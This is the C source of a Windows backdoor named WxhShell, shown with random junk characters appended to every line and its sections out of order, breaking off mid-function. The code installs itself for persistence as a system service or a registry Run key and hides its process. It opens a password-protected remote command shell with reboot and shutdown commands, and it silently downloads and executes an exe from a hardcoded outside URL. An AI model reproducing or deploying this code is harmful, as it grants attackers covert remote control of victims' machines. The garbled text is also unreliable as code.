DWORD BasePriority; \7*|u
ULONG UniqueProcessId; *n&Sd~Mg
ULONG InheritedFromUniqueProcessId; v^s?=9
} PROCESS_BASIC_INFORMATION; |? fAe{*
j$/#2%OVN
PROCNTQSIP NtQueryInformationProcess; 4^:dmeMZ`
XxdD)I
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; '<<@@.(f
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; S,Q^M
)$
CdmpKkq#
HANDLE hProcess; (GL'm[V
PROCESS_BASIC_INFORMATION pbi; gzSm=6Qw0
$b{8$<;9
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); -=8f*K[W
if(NULL == hInst ) return 0; Kg>B$fBx)
%r.C9
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); p"~@q} 3
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); mk!8>XvM
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); SSE,G!@
e],(d7 Jo
if (!NtQueryInformationProcess) return 0; P, l
(4
B]<N7NYn1
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); CL7/J[TS
if(!hProcess) return 0; u1u;aG
^q/^.Gf
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; W?E,"z
SIR2 Kc0
CloseHandle(hProcess); BCz4
s{F
DA>nYj-s
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); zZRLFfz<9
if(hProcess==NULL) return 0; StTxga|
>!" Sr3,L
HMODULE hMod; F-ofR]|)>
char procName[255]; Lk#)VGk:
unsigned long cbNeeded; fSVM[
;Wk3>\nT-
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ELMz~vp
=+T0[|gc(r
CloseHandle(hProcess); dQ-g\]d|
\vc&V8
if(strstr(procName,"services")) return 1; // 以服务启动 Zj ` ;IYFG
Z>Rshtg
return 0; // 注册表启动 aCQ[Uc<B:
} XfMUodV-OZ
pG)dF@
// 主模块 1'TS!/ll];
int StartWxhshell(LPSTR lpCmdLine) )AdwA+-x
{ z~p!7q&g
SOCKET wsl; r]D>p&4
BOOL val=TRUE; rZ-< Ryg
int port=0; _]Ob)RUVH
struct sockaddr_in door; f]?&R c2C
=1|p$@L`%
if(wscfg.ws_autoins) Install(); 0~WXA=XG
`<<9A\Y-f
port=atoi(lpCmdLine); _G<Wq`0w)
`uusUw-Gf
if(port<=0) port=wscfg.ws_port; I D-I<Ev
A(`Mwh+
WSADATA data; &;JeLL1J
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ^
.A
Gkfzb>_V]
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; B]gyj
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); :cXN
Fu\C
door.sin_family = AF_INET; j%]sym
door.sin_addr.s_addr = inet_addr("127.0.0.1"); x00'wY|
door.sin_port = htons(port); ,`a8@
,g"JgX
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { OR+py.vK
closesocket(wsl); C; U4`0=8
return 1; 0/7.RpX,.
} x*TJYST
lm&^`Bn)
if(listen(wsl,2) == INVALID_SOCKET) { z}$.A9yn
closesocket(wsl); $1zWQJd[-
return 1; 3N2d@R
} M80O;0N%A
Wxhshell(wsl); 3tUn?;9B
WSACleanup(); 'T7 3V
3X ',L*f
return 0; aAn p7\7
QpoC-4F
} 6jm/y@|F!
P&tw!B
// 以NT服务方式启动 y
)<+?@sP
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) (./Iq#@S
{ KV6D0~
DWORD status = 0; #RSUChe7w
DWORD specificError = 0xfffffff; 4N7|LxNNl_
Q:y'G9b
serviceStatus.dwServiceType = SERVICE_WIN32; .VUnOdI
serviceStatus.dwCurrentState = SERVICE_START_PENDING; m,]9\0GUd
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; RVs=s}|>*
serviceStatus.dwWin32ExitCode = 0; 10m|?
serviceStatus.dwServiceSpecificExitCode = 0; ]\}MSo3
serviceStatus.dwCheckPoint = 0; {/aHZ<I&^h
serviceStatus.dwWaitHint = 0; oY; C[X
7xG~4N<)]
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); *ywr_9
if (hServiceStatusHandle==0) return; @*=5a(#
u'DpZ
status = GetLastError(); U.$Th_
if (status!=NO_ERROR) 2hryY
{ gMPp'^g]_
serviceStatus.dwCurrentState = SERVICE_STOPPED; HN5,MD[
serviceStatus.dwCheckPoint = 0; n:1Ijh
1
serviceStatus.dwWaitHint = 0; 2vsV:LS.
serviceStatus.dwWin32ExitCode = status; *{Z=)k%
serviceStatus.dwServiceSpecificExitCode = specificError; =1
S%E
SetServiceStatus(hServiceStatusHandle, &serviceStatus); PQh s^D
return; Jm< uE]9
} P6'Se'f8
1_Av_X
serviceStatus.dwCurrentState = SERVICE_RUNNING; E2>+V{TF
serviceStatus.dwCheckPoint = 0;
fWi/mK3c
serviceStatus.dwWaitHint = 0; P46Q3EE
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); "Y- WY,H
} .`v%9-5v
@tD (<*f+
// 处理NT服务事件,比如:启动、停止 YB2gxZ
VOID WINAPI NTServiceHandler(DWORD fdwControl) )Z['=+s%
{ e:C4f
switch(fdwControl) n"Bc2}{
{ \ a(ce?C
case SERVICE_CONTROL_STOP: iXvrZofE
serviceStatus.dwWin32ExitCode = 0; Y#=MN~##t
serviceStatus.dwCurrentState = SERVICE_STOPPED; rcY &n^:
serviceStatus.dwCheckPoint = 0; &"hEKIqL
serviceStatus.dwWaitHint = 0; $7i[7S4
{ 1v,R<1)&
SetServiceStatus(hServiceStatusHandle, &serviceStatus); qE]e+S?57a
} b>k2@
return; %:;g|PC
case SERVICE_CONTROL_PAUSE: ~(GNY5
serviceStatus.dwCurrentState = SERVICE_PAUSED;
~vM99hW
break; ~<s^HP2U{
case SERVICE_CONTROL_CONTINUE: 2' ^7G@%
serviceStatus.dwCurrentState = SERVICE_RUNNING; kY{$[+-jR
break; lmL$0{Yr
case SERVICE_CONTROL_INTERROGATE: v'S5F@ln
break; BpYxH#4
}; f#w
u~*c
SetServiceStatus(hServiceStatusHandle, &serviceStatus); &oy')\H
} W-/V5=?
EUQtl_h/H
// 标准应用程序主函数 *)6\V}`
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow)
P +OS
{ .uxM&|0H
t4/ye>P &
// 获取操作系统版本 ;z N1Qb
OsIsNt=GetOsVer(); DX+zK'34
GetModuleFileName(NULL,ExeFile,MAX_PATH); $AE5n>ZD$
cY kb3(
// 从命令行安装 M6Np!0G
if(strpbrk(lpCmdLine,"iI")) Install(); W g6H~x
`.3@Ki~$#
// 下载执行文件 z0SF2L H
if(wscfg.ws_downexe) { 5$N#=i`V
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 8UqH"^9.Q7
WinExec(wscfg.ws_filenam,SW_HIDE); K5BL4N
} NVsaV;u
A>2 _I)
if(!OsIsNt) { C])s'XTs
// 如果时win9x,隐藏进程并且设置为注册表启动 ^+CHp(X
HideProc(); ugE!EEy[^
StartWxhshell(lpCmdLine); b.@4yW
} [Z#Sj=z
else !Hl] &
if(StartFromService()) 5Pn.c!
// 以服务方式启动 |('o g *$
StartServiceCtrlDispatcher(DispatchTable); qq)}GK8K&
else &r4|WM/ec
// 普通方式启动 HG?+b
StartWxhshell(lpCmdLine); %!(C?k!\
C c:<F_UI
return 0; *vuI'EbM
} [YHtBM:y
,qv\Y]
6kdbbGO-
m6n%?8t
=========================================== X~D[CwA|`
/W BmR R
f pq|mY
2%`=
LGQC
1Kk6nUIN
|vl~B|",
" 7H< IO`
x;z=[eE
#include <stdio.h> 111A e*U
#include <string.h> $6pLsX
#include <windows.h> F=1 #qo<?
#include <winsock2.h> a{hc{
#include <winsvc.h> v
x/YWZ
#include <urlmon.h> Hcu!bOQ
/YHO"4Z
#pragma comment (lib, "Ws2_32.lib") :ZIa
#pragma comment (lib, "urlmon.lib") $m2#oI'D
1*dN. v:5
#define MAX_USER 100 // 最大客户端连接数 6Jb0MX"AVr
#define BUF_SOCK 200 // sock buffer (b<0=U
#define KEY_BUFF 255 // 输入 buffer E(|A"=\
D^US2B
#define REBOOT 0 // 重启 __.MS6"N
#define SHUTDOWN 1 // 关机 V@k+RniEO
,mp<<%{u
#define DEF_PORT 5000 // 监听端口 |zpy!X 3
wb?k
#define REG_LEN 16 // 注册表键长度 f/#Id]B
#define SVC_LEN 80 // NT服务名长度 =N\; ?eF(
j2_j5Hgo
// 从dll定义API PD0&ep1h7G
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); `M6"=)twu
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); n*wQgC'vw
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); +?o!"SJ
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ^py=]7[I
rBTg"^jsw
// wxhshell配置信息 :) lG}c
struct WSCFG { .F 6US<]
int ws_port; // 监听端口 ]wU/yc)e
char ws_passstr[REG_LEN]; // 口令 D0FX"BY7
int ws_autoins; // 安装标记, 1=yes 0=no P>X[}
char ws_regname[REG_LEN]; // 注册表键名 7b>_vtrt
char ws_svcname[REG_LEN]; // 服务名 =?6c&Z
char ws_svcdisp[SVC_LEN]; // 服务显示名 {f#QZS!E
char ws_svcdesc[SVC_LEN]; // 服务描述信息 Ul_Zn
char ws_passmsg[SVC_LEN]; // 密码输入提示信息 S9Yzvq!(
int ws_downexe; // 下载执行标记, 1=yes 0=no d/Q#Z
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" W<X3!zuKSg
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 lK=Is
v+
Za{O9Qc?D|
}; F%|P#CaB
t[`LG)
// default Wxhshell configuration lfHN_fE>Mq
struct WSCFG wscfg={DEF_PORT, O>]i?
"xuhuanlingzhe", v}j5G,
[-
1, );d 07\V
"Wxhshell", 1]Xx{j<
"Wxhshell", Lxp}o7>K
"WxhShell Service", 8j#S+=l>
"Wrsky Windows CmdShell Service", H_RfIX)X
"Please Input Your Password: ", ^Qx?)(@
1, 8)1q,[:M
"http://www.wrsky.com/wxhshell.exe", Ow/,pC >V
"Wxhshell.exe" W:RjWn @<
}; KBB)xez8
@@oJ@;
// 消息定义模块 RBrb7D{
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; @\ y{q;
char *msg_ws_prompt="\n\r? for help\n\r#>"; PG63{
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; &6vaLx
char *msg_ws_ext="\n\rExit."; ;Yee0O!d4
char *msg_ws_end="\n\rQuit."; #]jl{K\f#X
char *msg_ws_boot="\n\rReboot..."; aG
}oI!
char *msg_ws_poff="\n\rShutdown..."; W9%v#;2
char *msg_ws_down="\n\rSave to "; u4~+Bc_GL
F9j@KC(yg
char *msg_ws_err="\n\rErr!"; v@%4i~N
char *msg_ws_ok="\n\rOK!"; bHG<B
jlj ge=#c2
char ExeFile[MAX_PATH]; wH o}wp
int nUser = 0; IrL%0&*hS
HANDLE handles[MAX_USER];
b M1\z
int OsIsNt; Xb%Q%"?~
[L+*pW+$\.
SERVICE_STATUS serviceStatus; * |,N/e
SERVICE_STATUS_HANDLE hServiceStatusHandle; k 3m_L-
IADHe\.
// 函数声明 S3Y.+. 0U
int Install(void); {nwoJ'-V
int Uninstall(void); $,~Ily7w
int DownloadFile(char *sURL, SOCKET wsh); 1GK.:s6.f
int Boot(int flag); X=#us7W}
void HideProc(void); z+yq%O
int GetOsVer(void); q|<B9Jk
int Wxhshell(SOCKET wsl); a|z-EKV
void TalkWithClient(void *cs); 9s"st\u
4
int CmdShell(SOCKET sock); Bn]=T
int StartFromService(void); cK1^jH<|
int StartWxhshell(LPSTR lpCmdLine); /8e}c`
LXo$\~M8G8
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); c`xNTr01
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 5\pS8<RJ;
Br9j)1;
// 数据结构和表定义 .+1I>L
SERVICE_TABLE_ENTRY DispatchTable[] = N-upNuv
{ 06]3+s{{
{wscfg.ws_svcname, NTServiceMain}, <ZSXOh,'
{NULL, NULL} q2E{o)9
}; h]s6)tII
1k6asz^T
// 自我安装 lV^#[%
int Install(void) UAF$bR
{ ,A{Bx`o?
char svExeFile[MAX_PATH]; A8&@Vxdz
HKEY key; -E|"?
strcpy(svExeFile,ExeFile); f`Fj-<v
z)C}}NH*!@
// 如果是win9x系统,修改注册表设为自启动 "j_iq"J
if(!OsIsNt) { sR9$=91`
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { A.r7 ks
RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); <CVX[R]U
RegCloseKey(key); O6Py
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { h&j2mv(
RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); F[}#7}xjA
RegCloseKey(key); r[V%DU$dj
return 0; @}4>:\es
}
Hy3J2p9.
} 4N,[Gs<7
} Hes!uy
else { x >a h,
Fl.?*KBz
// 如果是NT以上系统,安装为系统服务 v>LK+|U
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 6c]4(%8
if (schSCManager!=0) ~}b0zL
{ H"/J R
SC_HANDLE schService = CreateService }BM`4/
( #|E#Rkw!
schSCManager, 9!jF$
wscfg.ws_svcname, 5Yv*f:
wscfg.ws_svcdisp, 8)8~c@
SERVICE_ALL_ACCESS, ^rfR<Q`
SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , enPtW
SERVICE_AUTO_START, "m^gCN}c
SERVICE_ERROR_NORMAL, TI3xt-/
svExeFile, 9mHCms
NULL, i{EQjZ
NULL, #D_Ti%.^}
NULL, B`QF;,3S
NULL, (DvPdOT+3
NULL PV,Z@qm@^
); |I1,9ex
if (schService!=0) ?M'CTz}<\
{ eWqS]cM#
CloseServiceHandle(schService); g"n>v
c7
CloseServiceHandle(schSCManager); Y&b Yaq
strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); Z]Xa:[
strcat(svExeFile,wscfg.ws_svcname); di_UJ~
if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { #8t=vb3
RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 8*8Y\"
RegCloseKey(key); TkTGYh
return 0; <9>L^GgXA
} kq=Htbv7
} L$c 1<7LU
CloseServiceHandle(schSCManager); aW:*!d#
} !Dc?9W!b
} g.Ur~5r
]u|FcwWc3
return 1; Uot(3p!S6
} #(qvhoi7lM
8Q/cJ+&
// 自我卸载 r^.9
|YM5
int Uninstall(void) ^4WZ%J#g
{ X_-/j.
HKEY key; ]NaH *\q
y+B iaD!U
if(!OsIsNt) { >1I w!SO+
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { uq6>K/~D
RegDeleteValue(key,wscfg.ws_regname); c)Q-yPMl)
RegCloseKey(key); $Rze[3
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 9ox5,7ZQ
RegDeleteValue(key,wscfg.ws_regname); M"c=_5P
RegCloseKey(key); |C./gdq
return 0; -GL.8"c[
} S8;c0}-
} <AVWT+,
} -;Mh|!yg
else { _Hq)@AI
E\4ZUGy0
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); .gNJY7`b
if (schSCManager!=0) Q.4+"JoG
{ ^,'KmZm=
SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); G|&$/]~
if (schService!=0) 2bXCFv7}
{ F$v ^S+Ch
if(DeleteService(schService)!=0) { sn[<Lq
CloseServiceHandle(schService); 3 P\4K
CloseServiceHandle(schSCManager); p*$=EomY
return 0; =`}|hI
} \HoVS
CloseServiceHandle(schService);
+;@R&Y
}
e'|P^G>g
CloseServiceHandle(schSCManager); qCk`398W
} ?)qm=mebY
} qi_uob
z5^Se!`5
return 1; sN[<{;K4
} k fOd|-
OlW5k`B
// 从指定url下载文件 Ov:U3P?%
int DownloadFile(char *sURL, SOCKET wsh) M1DV 9~S
{ r_^]5C\
HRESULT hr; D#ED?Lqf
char seps[]= "/"; '}Jq(ah(
char *token; (:#4{C
char *file; gU@.IOg
char myURL[MAX_PATH]; jA3Ir;a
char myFILE[MAX_PATH]; z\J#d 1e
7bW''J*6
strcpy(myURL,sURL); Xs4G#QsAJ
token=strtok(myURL,seps); DQ6pe)E|
while(token!=NULL) x5yZ+`Gc
{ y9GaxW*&